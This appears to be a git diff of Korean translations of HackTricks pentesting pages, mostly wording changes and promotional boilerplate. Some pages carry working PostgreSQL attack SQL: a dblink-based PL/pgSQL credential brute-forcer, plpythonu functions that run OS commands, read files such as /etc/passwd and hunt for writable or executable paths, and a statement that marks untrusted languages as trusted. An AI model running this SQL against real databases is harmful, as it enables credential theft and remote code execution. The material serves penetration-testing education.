* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,36 @@
|
|||
# Cypher Injection (neo4j)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
다음 블로그를 확인하세요:
|
||||
|
||||
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
|
||||
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,40 +1,43 @@
|
|||
# PL/pgSQL 비밀번호 브루트포스
|
||||
# PL/pgSQL 비밀번호 무차별 대입
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**원본 논문에서 이 공격에 대한 자세한 정보를 찾아보세요](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||
**[원본 문서에서 이러한 공격에 대한 더 많은 정보를 찾으세요](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||
|
||||
PL/pgSQL은 SQL의 기능을 확장하여 **프로시저 제어를 향상시키는** 완전한 기능을 갖춘 프로그래밍 언어입니다. 이는 루프와 다양한 제어 구조의 활용을 포함합니다. PL/pgSQL 언어로 작성된 함수는 SQL 문과 트리거에서 호출될 수 있으며, 데이터베이스 환경 내에서의 작업 범위를 확장합니다.
|
||||
PL/pgSQL은 **절차적 제어를 향상**시켜 SQL의 기능을 확장하는 **완전한 프로그래밍 언어**입니다. 여기에는 루프 및 다양한 제어 구조의 활용이 포함됩니다. PL/pgSQL 언어로 작성된 함수는 SQL 문 및 트리거에 의해 호출될 수 있어 데이터베이스 환경 내에서의 작업 범위를 넓힙니다.
|
||||
|
||||
이 언어를 남용하여 PostgreSQL에게 사용자 자격 증명을 브루트포스하도록 할 수 있지만, 데이터베이스에 존재해야 합니다. 다음을 사용하여 존재 여부를 확인할 수 있습니다:
|
||||
이 언어를 악용하여 PostgreSQL에 사용자 자격 증명을 무차별 대입하도록 요청할 수 있지만, 데이터베이스에 존재해야 합니다. 존재 여부는 다음을 사용하여 확인할 수 있습니다:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
---------+---------
|
||||
plpgsql |
|
||||
```
|
||||
기본적으로, **함수 생성은 PUBLIC에게 부여된 권한**입니다. 여기서 PUBLIC은 해당 데이터베이스 시스템의 모든 사용자를 의미합니다. 이를 방지하기 위해 관리자는 PUBLIC 도메인에서 USAGE 권한을 취소해야 할 수도 있습니다.
|
||||
기본적으로, **함수를 생성하는 것은 PUBLIC에 부여된 권한입니다**, 여기서 PUBLIC은 해당 데이터베이스 시스템의 모든 사용자를 의미합니다. 이를 방지하기 위해, 관리자는 PUBLIC 도메인에서 USAGE 권한을 철회해야 했을 것입니다:
|
||||
```sql
|
||||
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
||||
```
|
||||
그 경우에는, 이전의 쿼리는 다른 결과를 출력할 것입니다:
|
||||
그 경우, 이전 쿼리는 다른 결과를 출력할 것입니다:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
---------+-----------------
|
||||
plpgsql | {admin=U/admin}
|
||||
```
|
||||
다음 스크립트가 작동하려면 **`dblink` 함수가 존재해야 합니다**. 존재하지 않는 경우 다음과 같이 생성해 볼 수 있습니다.
|
||||
다음 스크립트가 작동하려면 **`dblink` 함수가 존재해야 합니다**. 존재하지 않는 경우 다음을 사용하여 생성해 볼 수 있습니다.
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
|
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
|
|||
//Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
_참고로, 4자리를 무차별 대입해도 몇 분이 걸릴 수 있습니다._
|
||||
_4자리를 무차별 대입하는 것조차 몇 분이 걸릴 수 있음을 유의하세요._
|
||||
|
||||
또한 **워드리스트를 다운로드**하여 해당 비밀번호만 시도할 수도 있습니다 (사전 공격):
|
||||
또한 **단어 목록을 다운로드**하고 해당 비밀번호만 시도할 수 있습니다(사전 공격):
|
||||
```sql
|
||||
//Create the function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
|
|||
-- Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,41 @@
|
|||
# RCE with PostgreSQL Languages
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL 언어
|
||||
## PostgreSQL Languages
|
||||
|
||||
접근한 PostgreSQL 데이터베이스에는 **설치된 다양한 스크립팅 언어**가 있을 수 있으며, 이를 악용하여 **임의의 코드를 실행**할 수 있습니다.
|
||||
|
||||
다음과 같이 **실행할 수 있습니다**:
|
||||
당신이 접근할 수 있는 PostgreSQL 데이터베이스에는 **임의 코드를 실행하기 위해 악용할 수 있는 다양한 스크립팅 언어가 설치되어 있을 수 있습니다**.
|
||||
|
||||
당신은 **그것들을 실행할 수 있습니다**:
|
||||
```sql
|
||||
\dL *
|
||||
|
||||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
```
|
||||
|
||||
대부분의 PostgreSQL에 설치할 수 있는 스크립팅 언어는 **2가지 유형**이 있습니다: **신뢰할 수 있는** 언어와 **신뢰할 수 없는** 언어입니다. **신뢰할 수 없는** 언어는 **"u"로 끝나는 이름**을 가지며, 코드를 **실행**하고 다른 흥미로운 함수를 사용할 수 있는 버전입니다. 다음은 설치되면 흥미로운 언어입니다:
|
||||
대부분의 스크립팅 언어는 PostgreSQL에 설치할 수 있으며 **2가지 종류**가 있습니다: **신뢰된**과 **신뢰되지 않은**. **신뢰되지 않은** 언어는 **"u"로 끝나는 이름**을 가지며, **코드를 실행**하고 다른 흥미로운 기능을 사용할 수 있는 버전입니다. 설치된 경우 흥미로운 언어는 다음과 같습니다:
|
||||
|
||||
* **plpythonu**
|
||||
* **plpython3u**
|
||||
* **plperlu**
|
||||
* **pljavaU**
|
||||
* **plrubyu**
|
||||
* ... (다른 언어도 보안 취약 버전을 사용하는 경우)
|
||||
* ... (안전하지 않은 버전을 사용하는 다른 프로그래밍 언어)
|
||||
|
||||
{% hint style="warning" %}
|
||||
만약 PostgreSQL에서 **설치되어 있지만 신뢰할 수 없는** 언어를 찾았다면 (\*\*`lanpltrusted`\*\*가 \*\*`false`\*\*인 경우), 다음 줄을 사용하여 PostgreSQL에서 제한을 적용하지 않도록 **신뢰**할 수 있습니다:
|
||||
|
||||
흥미로운 언어가 **설치**되어 있지만 PostgreSQL에 의해 **신뢰되지 않는** 경우 (**`lanpltrusted`**가 **`false`**인 경우) 다음 줄을 사용하여 **신뢰할 수 있도록** 시도할 수 있습니다. PostgreSQL에 의해 제한이 적용되지 않습니다:
|
||||
```sql
|
||||
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
||||
# To check your permissions over the table pg_language
|
||||
|
@ -44,8 +44,7 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
만약 언어가 보이지 않는다면, 다음과 같이 로드해 볼 수 있습니다. (**슈퍼 관리자 권한이 필요합니다**):
|
||||
|
||||
언어가 보이지 않으면 (**슈퍼관리자여야 함**): 로드해 보십시오.
|
||||
```
|
||||
CREATE EXTENSION plpythonu;
|
||||
CREATE EXTENSION plpython3u;
|
||||
|
@ -55,12 +54,12 @@ CREATE EXTENSION plrubyu;
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
안전한 버전을 "안전하지 않은" 버전으로 컴파일하는 것도 가능합니다. 예를 들어 [**여기**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)를 확인해보세요. 따라서, 설치된 **신뢰할 수 있는** 버전만 찾았다고 하더라도 코드를 실행할 수 있는지 시도하는 것은 항상 가치가 있습니다.
|
||||
안전한 버전을 "안전하지 않음"으로 컴파일하는 것이 가능하다는 점에 유의하세요. 예를 들어 [**이것**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)을 확인하세요. 따라서 **신뢰할 수 있는** 버전만 설치되어 있더라도 코드를 실행할 수 있는지 시도해 볼 가치가 항상 있습니다.
|
||||
|
||||
## plpythonu/plpython3u
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="RCE" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION exec (cmd text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -75,7 +74,7 @@ SELECT cmd("ls"); #RCE with popen or execve
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="OS 사용자 가져오기" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -89,7 +88,7 @@ SELECT get_user(""); #Get user, para is useless
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="디렉토리 목록" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -105,7 +104,7 @@ SELECT lsdir("/"); #List dir
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="W 폴더 찾기" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findw (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -134,7 +133,7 @@ SELECT findw("/"); #Find Writable folders from a folder (recursively)
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="파일 찾기" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -169,7 +168,7 @@ SELECT find_file("psql"); #Find a file
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="실행 파일 찾기" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findx (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -203,7 +202,7 @@ SELECT findx("/"); #Find an executables in folder (recursively)
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="서브로 exec 찾기" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -238,7 +237,7 @@ SELECT find_exe("psql"); #Find executable by susbstring
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="읽기" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION read (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -254,7 +253,7 @@ select read('/etc/passwd'); #Read a file in b64
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="권한 얻기" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_perms (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -313,14 +312,17 @@ SELECT req3('https://google.com'); #Request using python3
|
|||
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# 쿠키 폭탄 + Onerror XS 릭
|
||||
# Cookie Bomb + Onerror XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하거나 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
